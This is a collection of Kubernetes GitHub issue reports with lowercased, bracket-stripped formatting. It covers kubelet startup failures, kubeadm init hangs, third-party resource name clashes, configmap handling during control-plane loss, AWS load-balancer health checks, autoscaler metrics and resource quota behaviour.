kubelet 13021 : i0927 16:54:19.865210   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/fc\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865235   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/flocker\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865245   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/azure-file\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865252   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/configmap\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865261   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/vsphere-volume\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : i0927 16:54:19.865269   13021 plugins.go:352  loaded volume plugin \ kubernetes.io/azure-disk\  sep 27 16:54:19 ip-10-1-0-28 kubelet 13021 : error: failed to run kubelet: failed to create kubelet: failed to get runtime version: docker: failed to get docker version: cannot connect to the docker daemon. is the docker daemon running on this host? sep 27 16:54:19 ip-10-1-0-28 systemd 1 : kubelet.service: main process exited, code=exited, status=1/failure sep 27 16:54:19 ip-10-1-0-28 systemd 1 : unit kubelet.service entered failed state. sep 27 16:54:19 ip-10-1-0-28 systemd 1 : kubelet.service failed. sep 27 16:54:20 ip-10-1-0-28 systemd 1 : kubelet.service holdoff time over, scheduling restart. sep 27 16:54:20 ip-10-1-0-28 systemd 1 : start request repeated too quickly for kubelet.service sep 27 16:54:20 ip-10-1-0-28 systemd 1 : failed to start kubernetes kubelet server. sep 27 16:54:20 ip-10-1-0-28 systemd 1 : unit kubelet.service entered failed state. sep 27 16:54:20 ip-10-1-0-28 systemd 1 : kubelet.service failed.      kubelet sysconfig      daemon_args=\ \\ --api-servers=https://somestuff \\ --enable-debugging-handlers=true  \\ --cloud-provider=aws  \\ --pod-manifest-path=/etc/kubernetes/manifests  \\ --allow-privileged=true \\ --v=2 \\ --cluster-dns=someotherstuff \\ --cluster-domain=cluster.local   \\ --network-plugin=kubenet \\ --non-masquerade-cidr=172.0.0.0/8 \\ --cgroup-root=/system.slice/docker.service  \\ --hairpin-mode=none\       so as you can see, we're having a bit of a chicken and egg issue here - kubelet requires docker but docker requires cbr0 which is configured by kubelet.  kubernetes 1.4.0 docker 1.12.1 etcd 2.2.5

is there a support for .pac files in kubelet? we are behind a corporate proxy on aws and using flannel as docker network adapter. to start kubelet we must specify the proxy settings and also specify no_proxy settings. but the flannel network uses an ip range for communication that is too big for no_proxy settings. so healthz checks für skydns for example won't work correctly...

problem statement\r \r currently, if i register two kinds of tpr that has the same subname, for example:\r    \r $ kubectl get thirdpartyresource \r name                      description             version s \r cluster.aws.com           managed etcd clusters   v1beta1\r cluster.etcd.coreos.com   managed etcd clusters   v1beta1\r    \r \r when i use  kubectl get cluster , it will actually list  cluster.aws.com . this is misleading and confusing, in some sense, hijacking.\r \r it also causes security concerns. for example, i create:\r    \r $ kubectl get thirdpartyresource \r pod.aws.com               managed etcd clusters   v1beta1\r    \r \r on gke 1.5.3, when i  kubectl get pod , it list  pod.aws.com :\r    \r $ kubectl get pod\r name                   kind\r example-etcd-cluster   pod.v1beta1.aws.com\r    \r this is hijacking  pod  kind.

while working on kubernetes-incubator/cri-o 162 @sameo found that the  logpath  that we are given by kubelet is actually a symlink to the \ legacy container log path\  which is a docker-specific path that doesn't exist with non-docker cri implementations.\r \r as a result, currently  kubelet  breaks the cri for non-docker implementations. this was originally merged in  34858, but it seems like this symlink should be created by  dockershim  not by  kubelet .

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?  : no\r \r   what keywords did you search in kubernetes issues before filing this one?  : configmap environment kubelet \r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  : 1.5.2\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : coreos 1235.9.0\r -   kernel    e.g.  uname -a  : 4.7.3-coreos-r2\r -   install tools  : custom cloudformation\r \r   what happened  : due to operator error, we catastrophically lost the apiserver/etcd control plane for a cluster serving production traffic. we expected that individual kubelets would maintain the set of running containers for pods on their nodes based on the cluster's last desired state. for the most part, this worked as expected.\r \r however, when containers crashed in pods that had set environment values using  configmapkeyref , kubelet logs reported  failed to startcontainer  because it was unable to re-retrieve the referenced configmap from the apiserver. containers that referenced configmaps using volume mounts did not suffer from this failure, since the mounted snapshot of the configmap was stored on the node disk under  /var/lib/kubelet/pods/$pod/volumes/kubernetes.io~configmap .\r \r   what you expected to happen  : when a pod is created on a node, the complete resources required for kubelet to  re start its containers should be staged on the node. i would expect access to the off-box control plane be required only to report and discover cluster state changes. \r \r   how to reproduce it    as minimally and precisely as possible :\r 1. create a pod with a container definition that sets an environment variable using  valuefrom: { configmapkeyref: {...} } .\r 1. once the pod is running on a node, disable access to the apiserver from that node  for example, set the apiserver hostname in /etc/hosts to an unreachable address .\r 1. assuming a docker container runtime, use  docker ps  to identify the application container started for the pod by kubelet, then  docker stop  that container. kubelet should fail to start a replacement container.

 \r when running kubelet in a container, it uses  nsenter --mount=/rootfs/proc/1/ns/mnt -- /bin/mount <what> <where>  to mount stuff on the host. this is enough for simple mounts, however if such /bin/mount forks a fuse daemon this daemon runs in cgroup of kubelet container. therefore it is killed when kubelet container is stopped.\r \r we should run mount in a way it survives restart of kubelet container, i.e. escape the docker container completely and run /bin/mount outside of container's cgroup.\r \r /assign\r @kubernetes/sig-storage-bugs

 \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-correctness/24?log log failed with\r \r    \r w1102 07:04:27.366  cat: /tmp/tmp.sccicqm3nq/easy-rsa-master/aggregator/pki/issued/proxy-client.crt: no such file or directory\r    \r \r this is not the first time:  flake1  https://github.com/kubernetes/kubernetes/issues/39335 issuecomment-270853343 ,  flake2  https://github.com/kubernetes/kubernetes/issues/40139 issuecomment-273880602 .\r \r   what you expected to happen  :\r \r not fail.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r tbd\r \r   anything else we need to know?  :\r \r the current theory  from the flake1 above  is:\r \r ${cert_dir}/pki/issued/kubelet.crt wasn't found inside cluster/common.sh:create-certs even though it was surely written in generate-certs  as it didn't exit with non-zero status , so i feel that most probably the /tmp directory was cleared by the daily cron-job meant to delete /tmp\r \r however i'm not convinced this is true... afaict, the e2e runs in a docker container, which i don't think runs the tmp reaper. so this could only be valid if we are mounting /tmp from the host system.\r \r /cc @shyamjvs \r /assign

in  55022 we observed a crashlooping controller cause a cluster cold boot failure, as controller-manager wasn't able to stay up long enough to run the deployment that would have fixed the problem.\r \r we should audit everything that runs in kube-controller-manager and ensure that they all fail gracefully enough to prevent crashloops, or make them individually restart in that case, instead of the process.\r \r longer term, we should consider classifying the controllers by run level or bootstrap order   54522 , and splitting them into separate binaries or changing the start-up order in kcm to make sure this sort of thing doesn't happen in the future.

is this a bug report or feature request?  :\r   \r   what happened  :\r \r this is being logged on kubelet stderr on windows frequently.\r \r    \r kubelet.err.log:4832:e0711 22:12:49.241358    2872 helpers.go:735  eviction manager: failed to construct signal: \ allocatablememory.available\  error: system container \ pods\  not found\r in metrics\r kubelet.err.log:4836:e0711 22:13:07.280146    2872 helpers.go:735  eviction manager: failed to construct signal: \ allocatablememory.available\  error: system container \ pods\  not found\r in metrics\r kubelet.err.log:4840:e0711 22:13:25.329707    2872 helpers.go:735  eviction manager: failed to construct signal: \ allocatablememory.available\  error: system container \ pods\  not found\r in metrics\r kubelet.err.log:4847:e0711 22:13:43.366465    2872 helpers.go:735  eviction manager: failed to construct signal: \ allocatablememory.available\  error: system container \ pods\  not found\r in metrics\r kubelet.err.log:4850:e0711 22:14:01.400386    2872 helpers.go:735  eviction manager: failed to construct signal: \ allocatablememory.available\  error: system container \ pods\  not found\r in metrics\r kubelet.err.log:4854:e0711 22:14:18.452759    2872 helpers.go:735  eviction manager: failed to construct signal: \ allocatablememory.available\  error: system container \ pods\  not found\r in metrics\r kubelet.err.log:4860:e0711 22:14:36.492418    2872 helpers.go:735  eviction manager: failed to construct signal: \ allocatablememory.available\  error: system container \ pods\  not found\r in metrics\r kubelet.err.log:4865:e0711 22:14:54.518323    2872 helpers.go:735  eviction manager: failed to construct signal: \ allocatablememory.available\  error: system container \ pods\  not found\r in metrics\r kubelet.err.log:4869:e0711 22:15:12.549471    2872 helpers.go:735  eviction manager: failed to construct signal: \ allocatablememory.available\  error: system container \ pods\  not found\r in metrics\r kubelet.err.log:4872:e0711 22:15:30.576748    2872 helpers.go:735  eviction manager: failed to construct signal: \ allocatablememory.available\  error: system container \ pods\  not found\r in metrics\r kubelet.err.log:4879:e0711 22:15:48.608999    2872 helpers.go:735  eviction manager: failed to construct signal: \ allocatablememory.available\  error: system container \ pods\  not found\r in metrics\r kubelet.err.log:4883:e0711 22:16:06.643661    2872 helpers.go:735  eviction manager: failed to construct signal: \ allocatablememory.available\  error: system container \ pods\  not found\r in metrics\r    \r \r   what you expected to happen  :\r \r i would expect this metric to be implemented, and no error logs\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - deploy a cluster, i used acs-engine 0.19.2 with kubernetes 1.11 on windows server version 1803\r -  kubectl apply -f https://raw.githubusercontent.com/patricklang/windows-k8s-samples/master/iis/iis-1803.yaml \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : windows server version 1803\r \r /assign @feiskyer

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r when an aws nlb is created through the service of  loadbalancer  type, the health check security group rule is only created with a vpc primary cidr block, as seen here:\r \r https://github.com/kubernetes/kubernetes/blob/d7e0d9b45c62bdadfc2866290dec3a25ccf3e3cb/pkg/cloudprovider/providers/aws/aws_loadbalancer.go l658\r \r if the vpc has multiple cidr blocks associated, and the worker nodes are running on those corresponding subnets, the health check fails.\r \r   what you expected to happen  :\r \r multiple health check security group rules are created, one for each vpc cidr block, using both  vpc. cidrblock  and  vpc.cidrblockassociationset    reference  https://docs.aws.amazon.com/sdk-for-go/api/service/ec2/ vpc  .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. have a vpc with  multiple cidr blocks  https://docs.aws.amazon.com/vpc/latest/userguide/vpc_subnets.html vpc-resize  with additional subnets created on a non-primary cidr.\r 1. create a kubernetes cluster  e.g. eks  on subnets associated with a non-primary cidr.\r 1. create a service of type  loadbalancer  with  service.beta.kubernetes.io/aws-load-balancer-type=nlb \r 1. no nodes are healthy due to the security group rule being created only allowing traffic from the primary cidr.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r        \r     server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.5-eks-6bad6d\ , \r     gitcommit:\ 6bad6d9c768dc0864dab48a11653aa53b5a47043\ , gittreestate:\ clean\ , \r     builddate:\ 2018-12-06t23:13:14z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r        \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : amazon linux 2\r - kernel  e.g.  uname -a  :  linux <hostname> 4.14.88-88.76.amzn2.x86_64  1 smp mon jan 7 18:43:26 utc 2019 x86_64 x86_64 x86_64 gnu/linux \r - install tools: n/a\r - others: n/a\r

what happened  :\r when you have two children with exactly the same hostname, something unexpected happens when you execute the kubeadm join command\r \r   what you expected to happen  :\r kubectl get nodes returns the correct information\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubeadm init --kubernetes-version=v1.12.2/kubeadm init --kubernetes-version=v1.13.2\r perform a kubeadm join on two nodes with the same hostname\r \r   anything else we need to know?  :\r i tried two versions, v1.12.0/v1.13.0, both of which were confusing\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.0/v1.13.0\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release : ubuntu18.04\r - kernel  e.g.  uname -a  : linux ubuntutest 4.15.0-43-generic  46-ubuntu smp thu dec 6 14:45:28 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r

something like:      foo.spec.bar 0 .name: invalid value 'abcdef ': too long: must be less than 4 characters and match regex  a-z .  a-z       field: msg, value: clue: details

continuing discussion in  1319     current state:  https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/registry    what can be done: 1. switch the kube-registry image storage to use gcs/s3. 2. expose external ip for kube-registry. better with tls and authentication enabled.  3. on each node, add kube-registry as insecure-registry. this can be done by setting flag kube_enable_insecure_registry=true when running kube-up.sh. with this setup, there is no need to have registry proxy on each node. kubelet can pull image using registry service ip. it would be nice if we could use the dns name of kube-registry service. but kube-dns currently does not work on node. 4. enable authentication with htpass. htpass file can be packed into a secret.  5. enable tls with certificate signed by cluster ca or provided by user. cert can be packed into a secret.     open questions: 1. how to get a resolvable name for kube-registry on each node? maybe we can add an entry in /etc/hosts for now? 2. i tried to set up a registry with self-signed cert. if the cert uses registry ip as common name, then i will get the exact same problem described here:    https://github.com/docker/docker/issues/8943    http://stackoverflow.com/questions/23468530/use-docker-registry-with-ssl-certifictae-without-ip-sans    it looks like the registry only works with certificates using domain names as cn. this comes back to question  1 3. what is the ideal way to interact with kube-registry from outside of the k8s cluster?  proxy? port-forwarding? external ip? with ssl or insecure?  4. what should be the out-of-the-box features?

maybe more like a feature request but currently this method of k8s deployment only supports trusty and is completely systemd unaware. is this going to change in the near future?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a bug report or feature request?    choose one :  bug report    kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:16:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : - gcp    what happened  :  after running hpa for several days,  kubectl get hpa,pod,deployment,rc,service,node -owide --all-namespaces  no longer returns the correct info about the current cpu usage, it's as if frozen.  i then deleted both the deployment and the hpa, created them again with  kubectl apply -f .   the problem:  it has been 19 hours since the hpa has been spawned, the status is still      namespace   name              reference                       target    current     minpods   maxpods   age default     hpa/thumbor-hpa   deployment/thumbor-deployment   80%       <waiting>   4         50        19h      there are no events in hpa describe      bash-3.2$ kubectl describe hpa name:               thumbor-hpa namespace:          default labels:             <none> annotations:            kubectl.kubernetes.io/last-applied-configuration={\ kind\ :\ horizontalpodautoscaler\ ,\ apiversion\ :\ autoscaling/v1\ ,\ metadata\ :{\ name\ :\ thumbor-hpa\ ,\ namespace\ :\ default\ ,\ creationtimestamp\ :null},\ spec\ :{\ scaletargetref\ :{\ kind\ :\ deployment\ ,\ name\ :\ thumbor-deployment\ },\ minreplicas\ :4,\ maxreplicas\ :50,\ targetcpuutilizationpercentage\ :80},\ status\ :{\ currentreplicas\ :0,\ desiredreplicas\ :0}} creationtimestamp:      thu, 06 oct 2016 16:34:15 +0300 reference:          deployment/thumbor-deployment target cpu utilization:     80% current cpu utilization:    <unset> min replicas:           4 max replicas:           50 no events.      the heapster seem fine: -  status:      running  -     conditions:   type      status   initialized   true    ready     true    podscheduled  true        i had experienced this before as well but when i upgraded kubernetes from 1.3.7 to 1.4 from gcp's ui the issue went away. but it's back again.    what you expected to happen  :  hpa to work as it is expected.

is this a bug report or feature request?    choose one :\r bug\r \r   kubernetes version    use  kubectl version  :\r master\r \r   what happened  :\r the federation doc is not updated accordingly.\r \r   what you expected to happen  :\r after running update-all.sh, all doc & generated codes are updates, e.g. https://github.com/kubernetes/kubernetes/pull/41812

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r this issue is related to https://github.com/kubernetes/kubernetes/issues/33729\r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r kubeadm version\r kubeadm version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:33:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r vm , 4 core , 16 gb ram\r -   os    e.g. from /etc/os-release :\r cat /etc/redhat-release \r centos linux release 7.3.1611  core  \r -   kernel    e.g.  uname -a  :\r uname -a\r linux  3.10.0-514.2.2.el7.x86_64  1 smp tue dec 6 23:06:41 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r kubeadm\r -   others  :\r \r \r   what happened  :\r if i try to do \r kubeadm init\r \r this keep looping around \  apiclient  temporarily unable to list nodes  will retry  \ \r \r  certificates  generated api server kubelet client certificate and key.\r  certificates  generated service account token signing key and public key.\r  certificates  generated front-proxy ca certificate and key.\r  certificates  generated front-proxy client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/controller-manager.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/scheduler.conf\ \r  apiclient  created api client, waiting for the control plane to become ready\r  apiclient  all control plane components are healthy after 17.599812 seconds\r  apiclient  waiting for at least one node to register\r  apiclient  temporarily unable to list nodes  will retry \r  apiclient  temporarily unable to list nodes  will retry \r  apiclient  temporarily unable to list nodes  will retry \r \r   what you expected to happen  :\r the command should have succeeded thereby downloading and installing the cluster database and “control plane” components\r \r \r \r \r   how to reproduce it    as minimally and precisely as possible :\r follow http://kubernetes.io/docs/getting-started-guides/kubeadm/ to install kubernetes\r \r \r   anything else we need to know  :\r \r

we currently print out a lot of garbage that takes ever 3/4 of test logs and makes it annoying to read. stuff that should be minimized:\r -  get nodes  output from the beginning of the tests\r - waiting for prepuller to finish shouldn't log status of every single one of them ever x seconds, only aggregates\r - netcheck should print out results to separate file in testcontext.reportdir, instead of main log file\r - performance test results metrics, should use 'summary'  e2e/framework one  interface, so it'd be automatically printed to separate file.\r \r @kubernetes/sig-scalability-misc @wojtek-t @shyamjvs

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r v1.6.2\r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : \r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r -   kernel    e.g.  uname -a  :\r    \r linux ip-10-20-102-89 3.10.0-327.10.1.el7.x86_64  1 smp tue feb 16 17:03:50 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r    \r -   install tools  :\r terraform and saltbase. saltbase is taken from this repo.\r -   others  :\r \r \r   what happened  :\r i’m trying to setup k8s on aws for the first time. i’m use the saltbase installation method. everything is going pretty smoothly with the exception of getting the kube-apiserver started. the kubelet starts on the master and starts the kube-apiserver but it repetitively fails to start with the following:\r    \r i0423 21:29:42.268353       5 aws.go:762  building aws cloudprovider\r i0423 21:29:42.268393       5 aws.go:725  zone not specified in configuration file; querying aws metadata service\r error setting the external host value: \ aws\  cloud provider could not be initialized: could not init cloud provider \ aws\ : error finding instance i-00a8c3f8a58272ee8: error listing aws instances: requesterror: send request failed\r caused by: post https://ec2.us-west-2.amazonaws.com/: x509: failed to load system roots and no roots provided\r \r    \r its failing with the aws go library trying to describe instances. the machine this is running on has the correct iams permissions and is able to use the aws cli to  describeinstances  just fine.\r \r this machine also has openssl, curl, and ca-certificates installed. from what i can tell from the generated kube-apiserver manifest, just about _any_ location that could contain a ca is mounted into this container. i've been stumped on this one for a few days. i certainly wouldn't rule out user error, but i'm out of ideas with regards to what i should try next.\r \r   what you expected to happen  :\r kube-apiserver would start up and be able to describe instances\r \r   how to reproduce it    as minimally and precisely as possible :\r stand up a virgin centos7 machine in aws, install salt on the machine, and then run  salt ' ' state.apply \r \r   anything else we need to know  :\r can't think of anything!

remove the deprecated   serviceaccount   https://github.com/kubernetes/kubernetes/blob/502be9f90634c37f1078cd9f2621ce44acb0303e/pkg/api/v1/types.go l2399  field in podspec.\r this field has been deprecated at least since july 2015, see  pr   https://github.com/kubernetes/kubernetes/pull/11389/files diff-e58c0c0709cf6f8a3b00aef6069b66b7r881 .\r \r it causes issue like https://github.com/kubernetes/kubectl/issues/23 issuecomment-306611422.\r \r @kubernetes/sig-api-machinery-api-reviews

 /sign node\r \r \r   what happened  :\r \r pod without any explicit cpu request/limit could be created when resourcequota define cpu and memory constraints.\r \r   what you expected to happen  :\r \r pod creation should fail and ask for explicit cpu resources. it seems a default cpu resource of  100m  is assigned to the pod, and that's likely allowing the pod creation to succeed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use this configuration file to create a resourcequota:\r \r    \r apiversion: v1\r kind: resourcequota\r metadata:\r   name: quota\r spec:\r   hard:\r     cpu: \ 10\ \r     memory: 6g\r     pods: \ 12\ \r     replicationcontrollers: \ 3\ \r     services: \ 5\ \r     configmaps: \ 5\ \r    \r \r the details are:\r \r    \r $ kubectl describe quota\r name:                   quota\r namespace:              default\r resource                used  hard\r --------                ----  ----\r configmaps              0     5\r cpu                     0     10\r memory                  0     6g\r pods                    0     12\r replicationcontrollers  0     3\r services                1     5\r    \r \r create a pod using this configuration file:\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: nginx-pod\r   labels:\r     name: nginx-pod\r spec:\r   containers:\r   - name: nginx\r     image: nginx:latest\r     ports:\r     - containerport: 80\r    \r \r kubectl rightly gives the error:\r \r    \r error from server  forbidden : error when creating \ templates/pod.yaml\ : pods \ nginx-pod\  is forbidden: failed quota: quota: must specify memory\r    \r \r updated the configuration file to:\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: nginx-pod\r   labels:\r     name: nginx-pod\r spec:\r   containers:\r   - name: nginx\r     image: nginx:latest\r     resources:\r       limits:\r         memory: \ 200m\ \r       requests:\r         memory: \ 100m\ \r     ports:\r     - containerport: 80\r    \r \r and now the pod could be successfully created.\r \r kubectl should ask for a cpu resource to be specified as well.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t21:07:53z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.4\ , gitcommit:\ 793658f2d7ca7f064d2bdf606519f9fe1229c381\ , gittreestate:\ clean\ , builddate:\ 2017-08-17t08:30:51z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r aws\r \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r > kind bug\r \r   what happened  :\r it's not possible to create deployment with nginx example provided in documentation. \r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl create -f https://raw.githubusercontent.com/kubernetes/website/master/docs/concepts/workloads/controllers/nginx-deployment.yaml\r \r    \r error from server  badrequest : error when creating \ https://raw.githubusercontent.com/kubernetes/website/master/docs/concepts/workloads/controllers/nginx-deployment.yaml\ : deployment in version \ v1beta2\  cannot be handled as a deployment: no kind \ deployment\  is registered for version \ apps/v1beta2\ \r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.7, 1.8.0 \r - cloud provider or hardware configuration: virtualbox cluster with 2 nodes. \r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  : linux node1 4.4.0-98-generic  121-ubuntu smp tue oct 10 14:24:03 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - others: kuberenetes is provisioned with rancher v1.7.7\r

hi guys,\r \r i have an issue,  kubeadm init  stucking at\r \r    \r  kubeadm  warning: kubeadm is in beta, please do not use it for production clusters.\r  init  using kubernetes version: v1.8.4\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks\r  preflight  starting the kubelet service\r  kubeadm  warning: starting in 1.8, tokens expire after 24 hours by default  if you require a non-expiring token use --token-ttl 0 \r  certificates  generated ca certificate and key.\r  certificates  generated apiserver certificate and key.\r  certificates  apiserver serving cert is signed for dns names  kubernetes-master-eu-central-1.mydomain.com kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local  and ips  private_ip public_ip \r  certificates  generated apiserver-kubelet-client certificate and key.\r  certificates  generated sa key and public key.\r  certificates  generated front-proxy-ca certificate and key.\r  certificates  generated front-proxy-client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ controller-manager.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ scheduler.conf\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r  etcd  wrote static pod manifest for a local etcd instance to \ /etc/kubernetes/manifests/etcd.yaml\ \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ \r  init  this often takes around a minute; or longer if the control plane images have to be pulled.\r    \r \r  docker ps  seems to shows some running containers\r  systemctl status kubelet  returns active status\r \r i am using centos 7.4 on aws, have internet access.\r \r i have no ideas what to do from here, maybe some timeouts would work? some clues would be very welcome.\r \r thanks in advance.

